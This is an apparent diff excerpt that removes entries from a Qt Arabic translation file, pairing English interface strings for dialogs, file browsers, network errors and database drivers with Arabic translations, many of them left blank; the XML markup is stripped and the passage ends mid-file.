    -        &Undo
    -        &تراجع
    -    
    -    
    -        
    -        &Redo
    -        إ&عادة
    -    
    -    
    -        
    -        Cu&t
    -        &قصّ
    -    
    -    
    -        
    -        &Copy
    -        &نسخ
    -    
    -    
    -        
    -        &Paste
    -        ت&لصيق
    -    
    -    
    -        
    -        Clear
    -        محو
    -    
    -    
    -        
    -        
    -        Select All
    -        انتقاء الجميع
    -    
    -
    -
    -    Q3TitleBar
    -    
    -        
    -        System
    -        
    -    
    -    
    -        
    -        Restore up
    -        
    -    
    -    
    -        
    -        Minimize
    -        تصغير
    -    
    -    
    -        
    -        Restore down
    -        
    -    
    -    
    -        
    -        Maximize
    -        تكبير
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        Contains commands to manipulate the window
    -        
    -    
    -    
    -        
    -        Puts a minimized back to normal
    -        
    -    
    -    
    -        
    -        Moves the window out of the way
    -        
    -    
    -    
    -        
    -        Puts a maximized window back to normal
    -        
    -    
    -    
    -        
    -        Makes the window full screen
    -        
    -    
    -    
    -        
    -        Closes the window
    -        
    -    
    -    
    -        
    -        Displays the name of the window and contains controls to manipulate it
    -        
    -    
    -
    -
    -    Q3ToolBar
    -    
    -        
    -        More...
    -        أكثر...
    -    
    -
    -
    -    Q3UrlOperator
    -    
    -        
    -        
    -        
    -        The protocol `%1' is not supported
    -        المراسم '%1' غير مدعومة
    -    
    -    
    -        
    -        The protocol `%1' does not support listing directories
    -        المراسم '%1' لا تدعم وضع قوائم الدّلائل
    -    
    -    
    -        
    -        The protocol `%1' does not support creating new directories
    -        المراسم '%1' لا تدعم صنع دلائل جديدة
    -    
    -    
    -        
    -        The protocol `%1' does not support removing files or directories
    -        المراسم '%1' لا تدعم نزع الملفّات أو الدّلائل
    -    
    -    
    -        
    -        The protocol `%1' does not support renaming files or directories
    -        المراسم '%1' لا تدعم إعادة تسمية الملفّات أو الدّلائل
    -    
    -    
    -        
    -        The protocol `%1' does not support getting files
    -        المراسم '%1' لا تدعم استخلاص الملفّات
    -    
    -    
    -        
    -        The protocol `%1' does not support putting files
    -        المراسم '%1' لا تدعم وضع الملفّات
    -    
    -    
    -        
    -        
    -        The protocol `%1' does not support copying or moving files or directories
    -        المراسم '%1' لا تدعم نسخ أو تحريك الملفّات أو الدّلائل
    -    
    -    
    -        
    -        
    -        (unknown)
    -        (مجهول)
    -    
    -
    -
    -    Q3Wizard
    -    
    -        
    -        &Cancel
    -        &إلغاء
    -    
    -    
    -        
    -        < &Back
    -        < &رجوع
    -    
    -    
    -        
    -        &Next >
    -        ال&تّالي >
    -    
    -    
    -        
    -        &Finish
    -        إ&نهاء
    -    
    -    
    -        
    -        &Help
    -        &مساعدة
    -    
    -
    -
    -    QAbstractSocket
    -    
    -        
    -        
    -        
    -        
    -        Host not found
    -        
    -    
    -    
    -        
    -        
    -        
    -        Connection refused
    -        رفض الوصل
    -    
    -    
    -        
    -        Connection timed out
    -        
    -    
    -    
    -        
    -        
    -        
    -        Operation on socket is not supported
    -        
    -    
    -    
    -        
    -        Socket operation timed out
    -        
    -    
    -    
    -        
    -        Socket is not connected
    -        
    -    
    -    
    -        
    -        Network unreachable
    -        
    -    
    -
    -
    -    QAbstractSpinBox
    -    
    -        
    -        &Step up
    -        
    -    
    -    
    -        
    -        Step &down
    -        
    -    
    -    
    -        
    -        &Select All
    -        
    -    
    -
    -
    -    QApplication
    -    
    -        
    -        QT_LAYOUT_DIRECTION
    -        Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
    -        RTL
    -    
    -    
    -        
    -        Executable '%1' requires Qt %2, found Qt %3.
    -        البرنامج '%1' يتطلّب Qt %2، تمّ إيجاد Qt %3.
    -    
    -    
    -        
    -        Incompatible Qt Library Error
    -        خطأ: مكتبة Qt غير موافقة
    -    
    -    
    -        
    -        Activate
    -        
    -    
    -    
    -        
    -        Activates the program's main window
    -        
    -    
    -
    -
    -    QAxSelect
    -    
    -        
    -        Select ActiveX Control
    -        
    -    
    -    
    -        
    -        OK
    -        موافقة
    -    
    -    
    -        
    -        &Cancel
    -        &إلغاء
    -    
    -    
    -        
    -        COM &Object:
    -        
    -    
    -
    -
    -    QCheckBox
    -    
    -        
    -        Uncheck
    -        
    -    
    -    
    -        
    -        Check
    -        
    -    
    -    
    -        
    -        Toggle
    -        
    -    
    -
    -
    -    QColorDialog
    -    
    -        
    -        Hu&e:
    -        ال&صّبغة:
    -    
    -    
    -        
    -        &Sat:
    -        التّ&شبّع:
    -    
    -    
    -        
    -        &Val:
    -        ال&قيمة:
    -    
    -    
    -        
    -        &Red:
    -        أ&حمر:
    -    
    -    
    -        
    -        &Green:
    -        أ&خضر:
    -    
    -    
    -        
    -        Bl&ue:
    -        أ&زرق:
    -    
    -    
    -        
    -        A&lpha channel:
    -        قناة أ&لفا:
    -    
    -    
    -        
    -        Select Color
    -        
    -    
    -    
    -        
    -        &Basic colors
    -        الألوان القا&عديّة
    -    
    -    
    -        
    -        &Custom colors
    -        الأل&وان المخصّصة
    -    
    -    
    -        &Define Custom Colors >>
    -        تع&ريف الألوان المخصّصة >>
    -    
    -    
    -        OK
    -        موافقة
    -    
    -    
    -        Cancel
    -        إلغاء
    -    
    -    
    -        
    -        &Add to Custom Colors
    -        الإ&ضافة إلى الألوان المخصّصة
    -    
    -    
    -        Select color
    -        إنتقاء اللّون
    -    
    -
    -
    -    QComboBox
    -    
    -        
    -        
    -        Open
    -        فتح
    -    
    -    
    -        
    -        False
    -        خاطئ
    -    
    -    
    -        
    -        True
    -        صحيح
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -
    -
    -    QCoreApplication
    -    
    -        
    -        %1: key is empty
    -        QSystemSemaphore
    -        
    -    
    -    
    -        
    -        %1: unable to make key
    -        QSystemSemaphore
    -        
    -    
    -    
    -        
    -        %1: ftok failed
    -        QSystemSemaphore
    -        
    -    
    -
    -
    -    QDB2Driver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to set autocommit
    -        
    -    
    -
    -
    -    QDB2Result
    -    
    -        
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind variable
    -        
    -    
    -    
    -        
    -        Unable to fetch record %1
    -        
    -    
    -    
    -        
    -        Unable to fetch next
    -        
    -    
    -    
    -        
    -        Unable to fetch first
    -        
    -    
    -
    -
    -    QDateTimeEdit
    -    
    -        
    -        AM
    -        
    -    
    -    
    -        
    -        am
    -        
    -    
    -    
    -        
    -        PM
    -        
    -    
    -    
    -        
    -        pm
    -        
    -    
    -
    -
    -    QDial
    -    
    -        
    -        QDial
    -        
    -    
    -    
    -        
    -        SpeedoMeter
    -        
    -    
    -    
    -        
    -        SliderHandle
    -        
    -    
    -
    -
    -    QDialog
    -    
    -        
    -        What's This?
    -        ما هذا؟
    -    
    -    
    -        
    -        Done
    -        
    -    
    -
    -
    -    QDialogButtonBox
    -    
    -        
    -        
    -        
    -        OK
    -        موافقة
    -    
    -    
    -        
    -        Save
    -        حفظ
    -    
    -    
    -        
    -        &Save
    -        &حفظ
    -    
    -    
    -        
    -        Open
    -        فتح
    -    
    -    
    -        
    -        Cancel
    -        إلغاء
    -    
    -    
    -        
    -        &Cancel
    -        &إلغاء
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        &Close
    -        إ&غلاق
    -    
    -    
    -        
    -        Apply
    -        تطبيق
    -    
    -    
    -        
    -        Reset
    -        
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Don't Save
    -        
    -    
    -    
    -        
    -        Discard
    -        
    -    
    -    
    -        
    -        &Yes
    -        &نعم
    -    
    -    
    -        
    -        Yes to &All
    -        
    -    
    -    
    -        
    -        &No
    -        &لا
    -    
    -    
    -        
    -        N&o to All
    -        
    -    
    -    
    -        
    -        Save All
    -        
    -    
    -    
    -        
    -        Abort
    -        
    -    
    -    
    -        
    -        Retry
    -        
    -    
    -    
    -        
    -        Ignore
    -        
    -    
    -    
    -        
    -        Restore Defaults
    -        
    -    
    -    
    -        
    -        Close without Saving
    -        
    -    
    -    
    -        
    -        &OK
    -        &موافقة
    -    
    -
    -
    -    QDirModel
    -    
    -        
    -        Name
    -        الإسم
    -    
    -    
    -        
    -        Size
    -        السّعة
    -    
    -    
    -        
    -        Kind
    -        Match OS X Finder
    -        
    -    
    -    
    -        
    -        Type
    -        All other platforms
    -        الطّراز
    -    
    -    
    -        
    -        Date Modified
    -        
    -    
    -
    -
    -    QDockWidget
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        Dock
    -        
    -    
    -    
    -        
    -        Float
    -        
    -    
    -
    -
    -    QDoubleSpinBox
    -    
    -        
    -        More
    -        
    -    
    -    
    -        
    -        Less
    -        
    -    
    -
    -
    -    QErrorMessage
    -    
    -        
    -        &Show this message again
    -        أ&عرض مجدّداهذاالبلاغ
    -    
    -    
    -        
    -        &OK
    -        &موافقة
    -    
    -    
    -        
    -        Debug Message:
    -        بلاغ تصحيح الأخطاء:
    -    
    -    
    -        
    -        Warning:
    -        إنذار:
    -    
    -    
    -        
    -        Fatal Error:
    -        خطأ قاتل:
    -    
    -
    -
    -    QFile
    -    
    -        
    -        
    -        Destination file exists
    -        
    -    
    -    
    -        
    -        Cannot remove source file
    -        
    -    
    -    
    -        
    -        Cannot open %1 for input
    -        
    -    
    -    
    -        
    -        Cannot open for output
    -        
    -    
    -    
    -        
    -        Failure to write block
    -        
    -    
    -    
    -        
    -        Cannot create %1 for output
    -        
    -    
    -
    -
    -    QFileDialog
    -    
    -        
    -        
    -        All Files (*)
    -        جميع الملفّات (*)
    -    
    -    
    -        
    -        
    -        Back
    -        رجوع
    -    
    -    
    -        
    -        
    -        List View
    -        معاينة بالقائمة
    -    
    -    
    -        
    -        
    -        Detail View
    -        معاينة مفصّلة
    -    
    -    
    -        
    -        
    -        File
    -        ملفّ
    -    
    -    
    -        
    -        Open
    -        فتح
    -    
    -    
    -        
    -        Save As
    -        حفظ تحت
    -    
    -    
    -        
    -        
    -        
    -        
    -        &Open
    -        &فتح
    -    
    -    
    -        
    -        
    -        &Save
    -        &حفظ
    -    
    -    
    -        
    -        Recent Places
    -        
    -    
    -    
    -        
    -        &Rename
    -        ت&غيير الإسم
    -    
    -    
    -        
    -        &Delete
    -        ح&ذف
    -    
    -    
    -        
    -        Show &hidden files
    -        ع&رض الملفّات المخفية
    -    
    -    
    -        
    -        New Folder
    -        دليل جديد
    -    
    -    
    -        
    -        Find Directory
    -        إيجاد الدّليل
    -    
    -    
    -        
    -        Directories
    -        دلائل
    -    
    -    
    -        
    -        All Files (*.*)
    -        جميع الملفّات (*.*)
    -    
    -    
    -        
    -        
    -        Directory:
    -        دليل:
    -    
    -    
    -        
    -        %1 already exists.
    -Do you want to replace it?
    -        
    -    
    -    
    -        
    -        %1
    -File not found.
    -Please verify the correct file name was given.
    -        
    -    
    -    
    -        
    -        My Computer
    -        
    -    
    -    
    -        
    -        
    -        Parent Directory
    -        
    -    
    -    
    -        
    -        
    -        Files of type:
    -        
    -    
    -    
    -        
    -        
    -        %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -        
    -    
    -    
    -        
    -        '%1' is write protected.
    -Do you want to delete it anyway?
    -        
    -    
    -    
    -        
    -        Are sure you want to delete '%1'?
    -        
    -    
    -    
    -        
    -        Could not delete directory.
    -        
    -    
    -    
    -        
    -        Drive
    -        
    -    
    -    
    -        
    -        Unknown
    -        
    -    
    -    
    -        
    -        Show 
    -        
    -    
    -    
    -        
    -        
    -        Forward
    -        للأمام
    -    
    -    
    -        
    -        &New Folder
    -        
    -    
    -    
    -        
    -        
    -        &Choose
    -        
    -    
    -    
    -        
    -        Remove
    -        
    -    
    -    
    -        
    -        
    -        File &name:
    -        إ&سم الملفّ:
    -    
    -    
    -        
    -        
    -        Look in:
    -        
    -    
    -    
    -        
    -        
    -        Create New Folder
    -        صنع دليل جديد
    -    
    -
    -
    -    QFileSystemModel
    -    
    -        
    -        %1 TB
    -        
    -    
    -    
    -        
    -        %1 GB
    -        
    -    
    -    
    -        
    -        %1 MB
    -        
    -    
    -    
    -        
    -        %1 KB
    -        
    -    
    -    
    -        
    -        %1 bytes
    -        
    -    
    -    
    -        
    -        Invalid filename
    -        
    -    
    -    
    -        
    -        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -        
    -    
    -    
    -        
    -        Name
    -        الإسم
    -    
    -    
    -        
    -        Size
    -        السّعة
    -    
    -    
    -        
    -        Kind
    -        Match OS X Finder
    -        
    -    
    -    
    -        
    -        Type
    -        All other platforms
    -        الطّراز
    -    
    -    
    -        
    -        Date Modified
    -        
    -    
    -    
    -        
    -        My Computer
    -        
    -    
    -    
    -        
    -        Computer
    -        
    -    
    -
    -
    -    QFontDatabase
    -    
    -        
    -        
    -        Normal
    -        
    -    
    -    
    -        
    -        
    -        
    -        Bold
    -        
    -    
    -    
    -        
    -        
    -        Demi Bold
    -        
    -    
    -    
    -        
    -        
    -        
    -        Black
    -        
    -    
    -    
    -        
    -        Demi
    -        
    -    
    -    
    -        
    -        
    -        Light
    -        
    -    
    -    
    -        
    -        
    -        Italic
    -        
    -    
    -    
    -        
    -        
    -        Oblique
    -        
    -    
    -    
    -        
    -        Any
    -        
    -    
    -    
    -        
    -        Latin
    -        
    -    
    -    
    -        
    -        Greek
    -        
    -    
    -    
    -        
    -        Cyrillic
    -        
    -    
    -    
    -        
    -        Armenian
    -        
    -    
    -    
    -        
    -        Hebrew
    -        
    -    
    -    
    -        
    -        Arabic
    -        
    -    
    -    
    -        
    -        Syriac
    -        
    -    
    -    
    -        
    -        Thaana
    -        
    -    
    -    
    -        
    -        Devanagari
    -        
    -    
    -    
    -        
    -        Bengali
    -        
    -    
    -    
    -        
    -        Gurmukhi
    -        
    -    
    -    
    -        
    -        Gujarati
    -        
    -    
    -    
    -        
    -        Oriya
    -        
    -    
    -    
    -        
    -        Tamil
    -        
    -    
    -    
    -        
    -        Telugu
    -        
    -    
    -    
    -        
    -        Kannada
    -        
    -    
    -    
    -        
    -        Malayalam
    -        
    -    
    -    
    -        
    -        Sinhala
    -        
    -    
    -    
    -        
    -        Thai
    -        
    -    
    -    
    -        
    -        Lao
    -        
    -    
    -    
    -        
    -        Tibetan
    -        
    -    
    -    
    -        
    -        Myanmar
    -        
    -    
    -    
    -        
    -        Georgian
    -        
    -    
    -    
    -        
    -        Khmer
    -        
    -    
    -    
    -        
    -        Simplified Chinese
    -        
    -    
    -    
    -        
    -        Traditional Chinese
    -        
    -    
    -    
    -        
    -        Japanese
    -        
    -    
    -    
    -        
    -        Korean
    -        
    -    
    -    
    -        
    -        Vietnamese
    -        
    -    
    -    
    -        
    -        Symbol
    -        
    -    
    -    
    -        
    -        Ogham
    -        
    -    
    -    
    -        
    -        Runic
    -        
    -    
    -
    -
    -    QFontDialog
    -    
    -        
    -        &Font
    -        ال&خطّ
    -    
    -    
    -        
    -        Font st&yle
    -        &طراز الخطّ
    -    
    -    
    -        
    -        &Size
    -        ال&حجم
    -    
    -    
    -        
    -        Effects
    -        تأثيرات
    -    
    -    
    -        
    -        Stri&keout
    -        ت&شطيب
    -    
    -    
    -        
    -        &Underline
    -        ت&سطير
    -    
    -    
    -        
    -        Sample
    -        عيّنة
    -    
    -    
    -        
    -        
    -        Select Font
    -        انتقاء الخطّ
    -    
    -    
    -        
    -        Wr&iting System
    -        
    -    
    -
    -
    -    QFtp
    -    
    -        
    -        Host %1 found
    -        تمّ إيجاد المضيف %1
    -    
    -    
    -        
    -        Host found
    -        تمّ إيجاد المضيف
    -    
    -    
    -        
    -        
    -        
    -        Connected to host %1
    -        تمّ وصل المضيف %1
    -    
    -    
    -        
    -        Connected to host
    -        تمّ وصل المضيف
    -    
    -    
    -        
    -        Connection to %1 closed
    -        تمّ إغلاق الوصل بالمضيف %1
    -    
    -    
    -        
    -        
    -        
    -        Connection closed
    -        وصل مغلق
    -    
    -    
    -        
    -        
    -        Host %1 not found
    -        لم يتمّ إيجاد المضيف %1
    -    
    -    
    -        
    -        
    -        Connection refused to host %1
    -        رفض الوصل بالمضيف %1
    -    
    -    
    -        
    -        Connection timed out to host %1
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -    
    -        
    -        
    -        Connecting to host failed:
    -%1
    -        فشل وصل المضيف:
    -%1
    -    
    -    
    -        
    -        
    -        Login failed:
    -%1
    -        فشل التّسجيل:
    -%1
    -    
    -    
    -        
    -        
    -        Listing directory failed:
    -%1
    -        فشلت عمليّة وضع قائمة للدّليل:
    -%1
    -    
    -    
    -        
    -        
    -        Changing directory failed:
    -%1
    -        فشلت عمليّة تغيير الدّليل:
    -%1
    -    
    -    
    -        
    -        
    -        Downloading file failed:
    -%1
    -        فشلت عمليّة تحميل الملفّ:
    -%1
    -    
    -    
    -        
    -        
    -        Uploading file failed:
    -%1
    -        فشلت عمليّة تحميل (بعث) الملفّ:
    -%1
    -    
    -    
    -        
    -        
    -        Removing file failed:
    -%1
    -        فشلت عمليّة نزع الملفّ:
    -%1
    -    
    -    
    -        
    -        
    -        Creating directory failed:
    -%1
    -        فشلت عمليّة صنع الدّليل:
    -%1
    -    
    -    
    -        
    -        
    -        Removing directory failed:
    -%1
    -        فشلت عمليّة نزع الدّليل:
    -%1
    -    
    -    
    -        
    -        
    -        Not connected
    -        غير متصّل
    -    
    -    
    -        
    -        
    -        Connection refused for data connection
    -        رفض وصل المعطيات
    -    
    -
    -
    -    QHostInfo
    -    
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -
    -
    -    QHostInfoAgent
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Host not found
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown address type
    -        
    -    
    -    
    -        
    -        
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -
    -
    -    QHttp
    -    
    -        
    -        
    -        Connection refused
    -        رفض الوصل
    -    
    -    
    -        
    -        
    -        
    -        Host %1 not found
    -        لم يتمّ إيجاد المضيف %1
    -    
    -    
    -        
    -        
    -        Wrong content length
    -        طول المحتوى خاطئ
    -    
    -    
    -        
    -        HTTPS connection requested but SSL support not compiled in
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        HTTP request failed
    -        فشل طلب الHTTP
    -    
    -    
    -        
    -        Host %1 found
    -        تمّ إيجاد المضيف %1
    -    
    -    
    -        
    -        Host found
    -        تمّ إيجاد المضيف
    -    
    -    
    -        
    -        Connected to host %1
    -        تمّ وصل المضيف %1
    -    
    -    
    -        
    -        Connected to host
    -        تمّ وصل المضيف
    -    
    -    
    -        
    -        Connection to %1 closed
    -        تمّ إغلاق الوصل بالمضيف %1
    -    
    -    
    -        
    -        
    -        Connection closed
    -        وصل مغلق
    -    
    -    
    -        
    -        
    -        
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -    
    -        
    -        
    -        Request aborted
    -        تمّ إبطال الطّلب
    -    
    -    
    -        
    -        
    -        No server set to connect to
    -        ليس هناك أيّ خادم للوصل
    -    
    -    
    -        
    -        
    -        Server closed connection unexpectedly
    -        الخادم أغلق الوصل بصفة غير متوقّعة
    -    
    -    
    -        
    -        
    -        Invalid HTTP response header
    -        صديرة استجابة الHTTP غير صالحة
    -    
    -    
    -        
    -        Unknown authentication method
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Invalid HTTP chunked body
    -        مقطع HTTP غير صالح
    -    
    -    
    -        
    -        Error writing response to device
    -        
    -    
    -    
    -        
    -        Proxy authentication required
    -        
    -    
    -    
    -        
    -        Authentication required
    -        
    -    
    -    
    -        
    -        Connection refused (or timed out)
    -        
    -    
    -    
    -        
    -        Proxy requires authentication
    -        
    -    
    -    
    -        
    -        Host requires authentication
    -        
    -    
    -    
    -        
    -        Data corrupted
    -        
    -    
    -    
    -        
    -        Unknown protocol specified
    -        
    -    
    -    
    -        
    -        SSL handshake failed
    -        
    -    
    -
    -
    -    QHttpSocketEngine
    -    
    -        
    -        Did not receive HTTP response from proxy
    -        
    -    
    -    
    -        
    -        Error parsing authentication request from proxy
    -        
    -    
    -    
    -        
    -        Authentication required
    -        
    -    
    -    
    -        
    -        Proxy denied connection
    -        
    -    
    -    
    -        
    -        Error communicating with HTTP proxy
    -        
    -    
    -    
    -        
    -        Proxy server not found
    -        
    -    
    -    
    -        
    -        Proxy connection refused
    -        
    -    
    -    
    -        
    -        Proxy server connection timed out
    -        
    -    
    -    
    -        
    -        Proxy connection closed prematurely
    -        
    -    
    -
    -
    -    QIBaseDriver
    -    
    -        
    -        Error opening database
    -        
    -    
    -    
    -        
    -        Could not start transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QIBaseResult
    -    
    -        
    -        Unable to create BLOB
    -        
    -    
    -    
    -        
    -        Unable to write BLOB
    -        
    -    
    -    
    -        
    -        Unable to open BLOB
    -        
    -    
    -    
    -        
    -        Unable to read BLOB
    -        
    -    
    -    
    -        
    -        
    -        Could not find array
    -        
    -    
    -    
    -        
    -        Could not get array data
    -        
    -    
    -    
    -        
    -        Could not get query info
    -        
    -    
    -    
    -        
    -        Could not start transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Could not allocate statement
    -        
    -    
    -    
    -        
    -        Could not prepare statement
    -        
    -    
    -    
    -        
    -        
    -        Could not describe input statement
    -        
    -    
    -    
    -        
    -        Could not describe statement
    -        
    -    
    -    
    -        
    -        Unable to close statement
    -        
    -    
    -    
    -        
    -        Unable to execute query
    -        
    -    
    -    
    -        
    -        Could not fetch next item
    -        
    -    
    -    
    -        
    -        Could not get statement info
    -        
    -    
    -
    -
    -    QIODevice
    -    
    -        
    -        Permission denied
    -        
    -    
    -    
    -        
    -        Too many open files
    -        
    -    
    -    
    -        
    -        No such file or directory
    -        
    -    
    -    
    -        
    -        No space left on device
    -        
    -    
    -    
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -
    -
    -    QInputContext
    -    
    -        
    -        XIM
    -        
    -    
    -    
    -        
    -        XIM input method
    -        
    -    
    -    
    -        
    -        Windows input method
    -        
    -    
    -    
    -        
    -        Mac OS X input method
    -        
    -    
    -
    -
    -    QInputDialog
    -    
    -        
    -        Enter a value:
    -        
    -    
    -
    -
    -    QLibrary
    -    
    -        
    -        Could not mmap '%1': %2
    -        
    -    
    -    
    -        
    -        Plugin verification data mismatch in '%1'
    -        
    -    
    -    
    -        
    -        Could not unmap '%1': %2
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -        
    -    
    -    
    -        
    -        Unknown error
    -        خطأ مجهول
    -    
    -    
    -        
    -        
    -        The shared library was not found.
    -        
    -    
    -    
    -        
    -        The file '%1' is not a valid Qt plugin.
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -        
    -    
    -    
    -        
    -        
    -        Cannot load library %1: %2
    -        
    -    
    -    
    -        
    -        
    -        Cannot unload library %1: %2
    -        
    -    
    -    
    -        
    -        
    -        Cannot resolve symbol "%1" in %2: %3
    -        
    -    
    -
    -
    -    QLineEdit
    -    
    -        
    -        &Undo
    -        &تراجع
    -    
    -    
    -        
    -        &Redo
    -        إ&عادة
    -    
    -    
    -        
    -        Cu&t
    -        &قصّ
    -    
    -    
    -        
    -        &Copy
    -        &نسخ
    -    
    -    
    -        
    -        &Paste
    -        ت&لصيق
    -    
    -    
    -        
    -        Select All
    -        انتقاء الجميع
    -    
    -    
    -        
    -        Delete
    -        حذف
    -    
    -
    -
    -    QLocalServer
    -    
    -        
    -        
    -        %1: Name error
    -        
    -    
    -    
    -        
    -        %1: Permission denied
    -        
    -    
    -    
    -        
    -        %1: Address in use
    -        
    -    
    -    
    -        
    -        
    -        %1: Unknown error %2
    -        
    -    
    -
    -
    -    QLocalSocket
    -    
    -        
    -        
    -        %1: Connection refused
    -        
    -    
    -    
    -        
    -        
    -        %1: Remote closed
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        %1: Invalid name
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket access error
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket resource error
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket operation timed out
    -        
    -    
    -    
    -        
    -        
    -        %1: Datagram too large
    -        
    -    
    -    
    -        
    -        
    -        
    -        %1: Connection error
    -        
    -    
    -    
    -        
    -        
    -        %1: The socket operation is not supported
    -        
    -    
    -    
    -        
    -        %1: Unknown error
    -        
    -    
    -    
    -        
    -        
    -        %1: Unknown error %2
    -        
    -    
    -
    -
    -    QMYSQLDriver
    -    
    -        
    -        Unable to open database '
    -        
    -    
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QMYSQLResult
    -    
    -        
    -        Unable to fetch data
    -        
    -    
    -    
    -        
    -        Unable to execute query
    -        
    -    
    -    
    -        
    -        Unable to store result
    -        
    -    
    -    
    -        
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to reset statement
    -        
    -    
    -    
    -        
    -        Unable to bind value
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        
    -        Unable to bind outvalues
    -        
    -    
    -    
    -        
    -        Unable to store statement results
    -        
    -    
    -    
    -        
    -        Unable to execute next query
    -        
    -    
    -    
    -        
    -        Unable to store next result
    -        
    -    
    -
    -
    -    QMdiArea
    -    
    -        
    -        (Untitled)
    -        
    -    
    -
    -
    -    QMdiSubWindow
    -    
    -        
    -        %1 - [%2]
    -        %1 - [%2]
    -    
    -    
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        Minimize
    -        تصغير
    -    
    -    
    -        
    -        Restore Down
    -        استعاد في الأسفل
    -    
    -    
    -        
    -        &Restore
    -        ا&ستعاد
    -    
    -    
    -        
    -        &Move
    -        &تحريك
    -    
    -    
    -        
    -        &Size
    -        ال&حجم
    -    
    -    
    -        
    -        Mi&nimize
    -        ت&صغير
    -    
    -    
    -        
    -        Ma&ximize
    -        ت&كبير
    -    
    -    
    -        
    -        Stay on &Top
    -        ال&بقاء في الأمام
    -    
    -    
    -        
    -        &Close
    -        إ&غلاق
    -    
    -    
    -        
    -        - [%1]
    -        
    -    
    -    
    -        
    -        Maximize
    -        تكبير
    -    
    -    
    -        
    -        Unshade
    -        
    -    
    -    
    -        
    -        Shade
    -        
    -    
    -    
    -        
    -        Restore
    -        
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Menu
    -        قائمة الخيارات
    -    
    -
    -
    -    QMenu
    -    
    -        
    -        
    -        Close
    -        إغلاق
    -    
    -    
    -        
    -        
    -        Open
    -        فتح
    -    
    -    
    -        
    -        
    -        
    -        Execute
    -        
    -    
    -
    -
    -    QMenuBar
    -    
    -        About
    -        حول
    -    
    -    
    -        Config
    -        تشكيل
    -    
    -    
    -        Preference
    -        تفضيل
    -    
    -    
    -        Options
    -        خيارات
    -    
    -    
    -        Setting
    -        ضبط
    -    
    -    
    -        Setup
    -        إعداد
    -    
    -    
    -        Quit
    -        إنتهاء
    -    
    -    
    -        Exit
    -        خروج
    -    
    -
    -
    -    QMessageBox
    -    
    -        
    -        
    -        
    -        
    -        OK
    -        موافقة
    -    
    -    
    -        
    -        About Qt
    -        
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Show Details...
    -        
    -    
    -    
    -        
    -        Hide Details...
    -        
    -    
    -    
    -        
    -        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        
    -    
    -
    -
    -    QMultiInputContext
    -    
    -        
    -        Select IM
    -        
    -    
    -
    -
    -    QMultiInputContextPlugin
    -    
    -        
    -        Multiple input method switcher
    -        
    -    
    -    
    -        
    -        Multiple input method switcher that uses the context menu of the text widgets
    -        
    -    
    -
    -
    -    QNativeSocketEngine
